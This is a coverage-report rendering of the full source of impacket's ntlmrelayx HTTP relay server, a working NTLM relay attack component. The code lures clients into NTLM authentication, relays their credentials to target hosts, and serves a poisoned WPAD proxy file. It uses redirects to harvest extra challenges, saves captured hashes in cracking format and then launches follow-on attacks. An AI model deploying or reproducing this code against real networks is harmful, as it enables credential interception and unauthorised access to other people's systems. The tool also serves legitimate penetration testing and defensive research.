Coverage for /root/GitHubProjects/impacket/impacket/examples/ntlmrelayx/servers/httprelayserver.py: 10%

# Coverage for /root/GitHubProjects/impacket/impacket/examples/ntlmrelayx/servers/httprelayserver.py : 10%

## 295 statements

Hot-keys on this page

r m x p toggle line displays

j k next/prev highlighted chunk

0 (zero) top of page

1 (one) first highlighted chunk

1# Impacket - Collection of Python classes for working with network protocols.

2#

3# SECUREAUTH LABS. Copyright (C) 2021 SecureAuth Corporation. All rights reserved.

4#

5# This software is provided under a slightly modified version

6# of the Apache Software License. See the accompanying LICENSE file

7# for more information.

8#

9# Description:

10# HTTP Relay Server

11#

12# This is the HTTP server which relays the NTLMSSP messages to other protocols

13#

14# Authors:

15# Alberto Solino (@agsolino)

16# Dirk-jan Mollema / Fox-IT (https://www.fox-it.com)

17#

18

19 import http.server

20 import socketserver

21 import socket

22 import base64

23 import random

24 import struct

25 import string

26 from threading import Thread

27 from six import PY2, b

28

29 from impacket import ntlm, LOG

30 from impacket.smbserver import outputToJohnFormat, writeJohnOutputToFile

31 from impacket.nt_errors import STATUS_ACCESS_DENIED, STATUS_SUCCESS

32 from impacket.examples.ntlmrelayx.utils.targetsutils import TargetsProcessor

33 from impacket.examples.ntlmrelayx.servers.socksserver import activeConnections

34

35 class HTTPRelayServer(Thread):

36

37 class HTTPServer(socketserver.ThreadingMixIn, socketserver.TCPServer):

38 def __init__(self, server_address, RequestHandlerClass, config):

39 self.config = config

40 self.daemon_threads = True

41 if self.config.ipv6:

42 self.address_family = socket.AF_INET6

43 # Tracks the number of times authentication was prompted for WPAD per client

44 self.wpad_counters = {}

45 socketserver.TCPServer.__init__(self,server_address, RequestHandlerClass)

46

47 class HTTPHandler(http.server.SimpleHTTPRequestHandler):

48 def __init__(self,request, client_address, server):

49 self.server = server

50 self.protocol_version = 'HTTP/1.1'

51 self.challengeMessage = None

52 self.target = None

53 self.client = None

54 self.machineAccount = None

55 self.machineHashes = None

56 self.domainIp = None

57 self.authUser = None

58 self.wpad = 'function FindProxyForURL(url, host){if ((host == "localhost") || shExpMatch(host, "localhost.*") ||' \

59 '(host == "127.0.0.1")) return "DIRECT"; if (dnsDomainIs(host, "%s")) return "DIRECT"; ' \

60 'return "PROXY %s:80; DIRECT";} '

61 if self.server.config.mode != 'REDIRECT':

62 if self.server.config.target is None:

63 # Reflection mode, defaults to SMB at the target, for now

64 self.server.config.target = TargetsProcessor(singleTarget='SMB://%s:445/' % client_address[0])

65 self.target = self.server.config.target.getTarget()

66 if self.target is None:

67 LOG.info("HTTPD: Received connection from %s, but there are no more targets left!" % client_address[0])

68 return

69 LOG.info("HTTPD: Received connection from %s, attacking target %s://%s" % (client_address[0] ,self.target.scheme, self.target.netloc))

70 try:

71 http.server.SimpleHTTPRequestHandler.__init__(self,request, client_address, server)

72 except Exception as e:

73 LOG.debug("Exception:", exc_info=True)

74 LOG.error(str(e))

75

76 def handle_one_request(self):

77 try:

78 http.server.SimpleHTTPRequestHandler.handle_one_request(self)

79 except KeyboardInterrupt:

80 raise

81 except Exception as e:

82 LOG.debug("Exception:", exc_info=True)

83 LOG.error('Exception in HTTP request handler: %s' % e)

84

85 def log_message(self, format, *args):

86 return

87

88 def send_error(self, code, message=None):

89 if message.find('RPC_OUT') >=0 or message.find('RPC_IN'):

90 return self.do_GET()

91 return http.server.SimpleHTTPRequestHandler.send_error(self,code,message)

92

93 def serve_wpad(self):

94 wpadResponse = self.wpad % (self.server.config.wpad_host, self.server.config.wpad_host)

95 self.send_response(200)

96 self.send_header('Content-type', 'application/x-ns-proxy-autoconfig')

97 self.send_header('Content-Length',len(wpadResponse))

98 self.end_headers()

99 self.wfile.write(b(wpadResponse))

100 return

101

102 def should_serve_wpad(self, client):

103 # If the client was already prompted for authentication, see how many times this happened

104 try:

105 num = self.server.wpad_counters[client]

106 except KeyError:

107 num = 0

108 self.server.wpad_counters[client] = num + 1

109 # Serve WPAD if we passed the authentication offer threshold

110 if num >= self.server.config.wpad_auth_num:

111 return True

112 else:

113 return False

114

115 def serve_image(self):

116 with open(self.server.config.serve_image, 'rb') as imgFile:

117 imgFile_data = imgFile.read()

118 self.send_response(200, "OK")

119 self.send_header('Content-type', 'image/jpeg')

120 self.send_header('Content-Length', str(len(imgFile_data)))

121 self.end_headers()

122 self.wfile.write(imgFile_data)

123

124 def do_HEAD(self):

125 self.send_response(200)

126 self.send_header('Content-type', 'text/html')

127 self.end_headers()

128

129 def do_OPTIONS(self):

130 self.send_response(200)

131 self.send_header('Allow',

132 'GET, HEAD, POST, PUT, DELETE, OPTIONS, PROPFIND, PROPPATCH, MKCOL, LOCK, UNLOCK, MOVE, COPY')

133 self.send_header('Content-Length', '0')

134 self.send_header('Connection', 'close')

135 self.end_headers()

136 return

137

138 def do_PROPFIND(self):

139 proxy = False

140 if (".jpg" in self.path) or (".JPG" in self.path):

141 content = b"""<?xml version="1.0"?><D:multistatus xmlns:D="DAV:"><D:response><D:href>http://webdavrelay/file/image.JPG/</D:href><D:propstat><D:prop><D:creationdate>2016-11-12T22:00:22Z</D:creationdate><D:displayname>image.JPG</D:displayname><D:getcontentlength>4456</D:getcontentlength><D:getcontenttype>image/jpeg</D:getcontenttype><D:getetag>4ebabfcee4364434dacb043986abfffe</D:getetag><D:getlastmodified>Mon, 20 Mar 2017 00:00:22 GMT</D:getlastmodified><D:resourcetype></D:resourcetype><D:supportedlock></D:supportedlock><D:ishidden>0</D:ishidden></D:prop><D:status>HTTP/1.1 200 OK</D:status></D:propstat></D:response></D:multistatus>"""

142 else:

143 content = b"""<?xml version="1.0"?><D:multistatus xmlns:D="DAV:"><D:response><D:href>http://webdavrelay/file/</D:href><D:propstat><D:prop><D:creationdate>2016-11-12T22:00:22Z</D:creationdate><D:displayname>a</D:displayname><D:getcontentlength></D:getcontentlength><D:getcontenttype></D:getcontenttype><D:getetag></D:getetag><D:getlastmodified>Mon, 20 Mar 2017 00:00:22 GMT</D:getlastmodified><D:resourcetype><D:collection></D:collection></D:resourcetype><D:supportedlock></D:supportedlock><D:ishidden>0</D:ishidden></D:prop><D:status>HTTP/1.1 200 OK</D:status></D:propstat></D:response></D:multistatus>"""

144

145 messageType = 0

146 if PY2:

147 autorizationHeader = self.headers.getheader('Authorization')

148 else:

149 autorizationHeader = self.headers.get('Authorization')

150 if autorizationHeader is None:

151 self.do_AUTHHEAD(message=b'NTLM')

152 pass

153 else:

154 typeX = autorizationHeader

155 try:

156 _, blob = typeX.split('NTLM')

157 token = base64.b64decode(blob.strip())

158 except:

159 self.do_AUTHHEAD()

160 messageType = struct.unpack('<L', token[len('NTLMSSP\x00'):len('NTLMSSP\x00') + 4])[0]

161

162 if messageType == 1:

163 if not self.do_ntlm_negotiate(token, proxy=proxy):

164 LOG.info("do negotiate failed, sending redirect")

165 self.do_REDIRECT()

166 elif messageType == 3:

167 authenticateMessage = ntlm.NTLMAuthChallengeResponse()

168 authenticateMessage.fromString(token)

169

170 if not self.do_ntlm_auth(token,authenticateMessage):

171 if authenticateMessage['flags'] & ntlm.NTLMSSP_NEGOTIATE_UNICODE:

172 LOG.info("Authenticating against %s://%s as %s\\%s FAILED" % (

173 self.target.scheme, self.target.netloc, authenticateMessage['domain_name'].decode('utf-16le'),

174 authenticateMessage['user_name'].decode('utf-16le')))

175 else:

176 LOG.info("Authenticating against %s://%s as %s\\%s FAILED" % (

177 self.target.scheme, self.target.netloc, authenticateMessage['domain_name'].decode('ascii'),

178 authenticateMessage['user_name'].decode('ascii')))

179 # Only skip to next if the login actually failed, not if it was just anonymous login or a system account

180 # which we don't want

181 if authenticateMessage['user_name'] != b'':

182 self.server.config.target.logTarget(self.target)

183 # No anonymous login, go to next host and avoid triggering a popup

184 self.do_REDIRECT()

185 else:

186 #If it was an anonymous login, send 401

187 self.do_AUTHHEAD(b'NTLM', proxy=proxy)

188 else:

189 if authenticateMessage['flags'] & ntlm.NTLMSSP_NEGOTIATE_UNICODE:

190 LOG.info("Authenticating against %s://%s as %s\\%s SUCCEED" % (

191 self.target.scheme, self.target.netloc, authenticateMessage['domain_name'].decode('utf-16le'),

192 authenticateMessage['user_name'].decode('utf-16le')))

193 else:

194 LOG.info("Authenticating against %s://%s as %s\\%s SUCCEED" % (

195 self.target.scheme, self.target.netloc, authenticateMessage['domain_name'].decode('ascii'),

196 authenticateMessage['user_name'].decode('ascii')))

197

198 self.do_attack()

199 self.send_response(207, "Multi-Status")

200 self.send_header('Content-Type', 'application/xml')

201 self.send_header('Content-Length', str(len(content)))

202 self.end_headers()

203 self.wfile.write(content)

204 return

205

206 def do_AUTHHEAD(self, message = b'', proxy=False):

207 if proxy:

208 self.send_response(407)

209 self.send_header('Proxy-Authenticate', message.decode('utf-8'))

210 else:

211 self.send_response(401)

212 self.send_header('WWW-Authenticate', message.decode('utf-8'))

213 self.send_header('Content-type', 'text/html')

214 self.send_header('Content-Length','0')

215 self.end_headers()

216

217 #Trickery to get the victim to sign more challenges

218 def do_REDIRECT(self, proxy=False):

219 rstr = ''.join(random.choice(string.ascii_uppercase + string.digits) for _ in range(10))

220 self.send_response(302)

221 self.send_header('WWW-Authenticate', 'NTLM')

222 self.send_header('Content-type', 'text/html')

223 self.send_header('Connection','close')

224 self.send_header('Location','/%s' % rstr)

225 self.send_header('Content-Length','0')

226 self.end_headers()

227

228 def do_SMBREDIRECT(self):

229 self.send_response(302)

230 self.send_header('Content-type', 'text/html')

231 self.send_header('Location','file://%s' % self.server.config.redirecthost)

232 self.send_header('Content-Length','0')

233 self.send_header('Connection','close')

234 self.end_headers()

235

236 def do_POST(self):

237 return self.do_GET()

238

239 def do_CONNECT(self):

240 return self.do_GET()

241

242 def do_GET(self):

243 # Get the body of the request if any

244 # Otherwise, successive requests will not be handled properly

245 if PY2:

246 contentLength = self.headers.getheader("Content-Length")

247 else:

248 contentLength = self.headers.get("Content-Length")

249 if contentLength is not None:

250 body = self.rfile.read(int(contentLength))

251

252 messageType = 0

253 if self.server.config.mode == 'REDIRECT':

254 self.do_SMBREDIRECT()

255 return

256

257 LOG.info('HTTPD: Client requested path: %s' % self.path.lower())

258

259 # Serve WPAD if:

260 # - The client requests it

261 # - A WPAD host was provided in the command line options

262 # - The client has not exceeded the wpad_auth_num threshold yet

263 if self.path.lower() == '/wpad.dat' and self.server.config.serve_wpad and self.should_serve_wpad(self.client_address[0]):

264 LOG.info('HTTPD: Serving PAC file to client %s' % self.client_address[0])

265 self.serve_wpad()

266 return

267

268 # Determine if the user is connecting to our server directly or attempts to use it as a proxy

269 if self.command == 'CONNECT' or (len(self.path) > 4 and self.path[:4].lower() == 'http'):

270 proxy = True

271 else:

272 proxy = False

273

274 if PY2:

275 proxyAuthHeader = self.headers.getheader('Proxy-Authorization')

276 autorizationHeader = self.headers.getheader('Authorization')

277 else:

278 proxyAuthHeader = self.headers.get('Proxy-Authorization')

279 autorizationHeader = self.headers.get('Authorization')

280

281 if (proxy and proxyAuthHeader is None) or (not proxy and autorizationHeader is None):

282 self.do_AUTHHEAD(message = b'NTLM',proxy=proxy)

283 pass

284 else:

285 if proxy:

286 typeX = proxyAuthHeader

287 else:

288 typeX = autorizationHeader

289 try:

290 _, blob = typeX.split('NTLM')

291 token = base64.b64decode(blob.strip())

292 except Exception:

293 LOG.debug("Exception:", exc_info=True)

294 self.do_AUTHHEAD(message = b'NTLM', proxy=proxy)

295 else:

296 messageType = struct.unpack('<L',token[len('NTLMSSP\x00'):len('NTLMSSP\x00')+4])[0]

297

298 if messageType == 1:

299 if not self.do_ntlm_negotiate(token, proxy=proxy):

300 #Connection failed

301 LOG.error('Negotiating NTLM with %s://%s failed. Skipping to next target',

302 self.target.scheme, self.target.netloc)

303 self.server.config.target.logTarget(self.target)

304 self.do_REDIRECT()

305 elif messageType == 3:

306 authenticateMessage = ntlm.NTLMAuthChallengeResponse()

307 authenticateMessage.fromString(token)

308

309 if not self.do_ntlm_auth(token,authenticateMessage):

310 if authenticateMessage['flags'] & ntlm.NTLMSSP_NEGOTIATE_UNICODE:

311 LOG.error("Authenticating against %s://%s as %s\\%s FAILED" % (

312 self.target.scheme, self.target.netloc,

313 authenticateMessage['domain_name'].decode('utf-16le'),

314 authenticateMessage['user_name'].decode('utf-16le')))

315 else:

316 LOG.error("Authenticating against %s://%s as %s\\%s FAILED" % (

317 self.target.scheme, self.target.netloc,

318 authenticateMessage['domain_name'].decode('ascii'),

319 authenticateMessage['user_name'].decode('ascii')))

320

321 # Only skip to next if the login actually failed, not if it was just anonymous login or a system account

322 # which we don't want

323 if authenticateMessage['user_name'] != b'': # and authenticateMessage['user_name'][-1] != '$':

324 self.server.config.target.logTarget(self.target)

325 # No anonymous login, go to next host and avoid triggering a popup

326 self.do_REDIRECT()

327 else:

328 #If it was an anonymous login, send 401

329 self.do_AUTHHEAD(b'NTLM', proxy=proxy)

330 else:

331 # Relay worked, do whatever we want here...

332 if authenticateMessage['flags'] & ntlm.NTLMSSP_NEGOTIATE_UNICODE:

333 LOG.info("Authenticating against %s://%s as %s\\%s SUCCEED" % (

334 self.target.scheme, self.target.netloc, authenticateMessage['domain_name'].decode('utf-16le'),

335 authenticateMessage['user_name'].decode('utf-16le')))

336 else:

337 LOG.info("Authenticating against %s://%s as %s\\%s SUCCEED" % (

338 self.target.scheme, self.target.netloc, authenticateMessage['domain_name'].decode('ascii'),

339 authenticateMessage['user_name'].decode('ascii')))

340

341 ntlm_hash_data = outputToJohnFormat(self.challengeMessage['challenge'],

342 authenticateMessage['user_name'],

343 authenticateMessage['domain_name'],

344 authenticateMessage['lanman'], authenticateMessage['ntlm'])

345 self.client.sessionData['JOHN_OUTPUT'] = ntlm_hash_data

346

347 if self.server.config.outputFile is not None:

348 writeJohnOutputToFile(ntlm_hash_data['hash_string'], ntlm_hash_data['hash_version'], self.server.config.outputFile)

349

350 self.server.config.target.logTarget(self.target, True, self.authUser)

351

352 self.do_attack()

353

354 # Serve image and return 200 if --serve-image option has been set by user

355 if (self.server.config.serve_image):

356 self.serve_image()

357 return

358

359 # And answer 404 not found

360 self.send_response(404)

361 self.send_header('WWW-Authenticate', 'NTLM')

362 self.send_header('Content-type', 'text/html')

363 self.send_header('Content-Length','0')

364 self.send_header('Connection','close')

365 self.end_headers()

366 return

367

368 def do_ntlm_negotiate(self, token, proxy):

369 if self.target.scheme.upper() in self.server.config.protocolClients:

370 self.client = self.server.config.protocolClients[self.target.scheme.upper()](self.server.config, self.target)

371 # If connection failed, return

372 if not self.client.initConnection():

373 return False

374 self.challengeMessage = self.client.sendNegotiate(token)

375

376 # Remove target NetBIOS field from the NTLMSSP_CHALLENGE

377 if self.server.config.remove_target:

378 av_pairs = ntlm.AV_PAIRS(self.challengeMessage['TargetInfoFields'])

379 del av_pairs[ntlm.NTLMSSP_AV_HOSTNAME]

380 self.challengeMessage['TargetInfoFields'] = av_pairs.getData()

381 self.challengeMessage['TargetInfoFields_len'] = len(av_pairs.getData())

382 self.challengeMessage['TargetInfoFields_max_len'] = len(av_pairs.getData())

383

384 # Check for errors

385 if self.challengeMessage is False:

386 return False

387 else:

388 LOG.error('Protocol Client for %s not found!' % self.target.scheme.upper())

389 return False

390

391 #Calculate auth

392 self.do_AUTHHEAD(message = b'NTLM '+base64.b64encode(self.challengeMessage.getData()), proxy=proxy)

393 return True

394

395 def do_ntlm_auth(self,token,authenticateMessage):

396 #For some attacks it is important to know the authenticated username, so we store it

397 if authenticateMessage['flags'] & ntlm.NTLMSSP_NEGOTIATE_UNICODE:

398 self.authUser = ('%s/%s' % (authenticateMessage['domain_name'].decode('utf-16le'),

399 authenticateMessage['user_name'].decode('utf-16le'))).upper()

400 else:

401 self.authUser = ('%s/%s' % (authenticateMessage['domain_name'].decode('ascii'),

402 authenticateMessage['user_name'].decode('ascii'))).upper()

403

404 if authenticateMessage['user_name'] != b'' or self.target.hostname == '127.0.0.1':

405 clientResponse, errorCode = self.client.sendAuth(token)

406 else:

407 # Anonymous login, send STATUS_ACCESS_DENIED so we force the client to send his credentials, except

408 # when coming from localhost

409 errorCode = STATUS_ACCESS_DENIED

410

411 if errorCode == STATUS_SUCCESS:

412 return True

413

414 return False

415

416 def do_attack(self):

417 # Check if SOCKS is enabled and if we support the target scheme

418 if self.server.config.runSocks and self.target.scheme.upper() in self.server.config.socksServer.supportedSchemes:

419 # Pass all the data to the socksplugins proxy

420 activeConnections.put((self.target.hostname, self.client.targetPort, self.target.scheme.upper(),

421 self.authUser, self.client, self.client.sessionData))

422 return

423

424 # If SOCKS is not enabled, or not supported for this scheme, fall back to "classic" attacks

425 if self.target.scheme.upper() in self.server.config.attacks:

426 # We have an attack.. go for it

427 clientThread = self.server.config.attacks[self.target.scheme.upper()](self.server.config, self.client.session,

428 self.authUser)

429 clientThread.start()

430 else:

431 LOG.error('No attack configured for %s' % self.target.scheme.upper())

432

433 def __init__(self, config):

434 Thread.__init__(self)

435 self.daemon = True

436 self.config = config

437 self.server = None

438

439 def run(self):

440 LOG.info("Setting up HTTP Server")

441

442 if self.config.listeningPort:

443 httpport = self.config.listeningPort

444 else:

445 httpport = 80

446

447 # changed to read from the interfaceIP set in the configuration

448 self.server = self.HTTPServer((self.config.interfaceIp, httpport), self.HTTPHandler, self.config)

449

450 try:

451 self.server.serve_forever()

452 except KeyboardInterrupt:

453 pass

454 LOG.info('Shutting down HTTP Server')

455 self.server.server_close()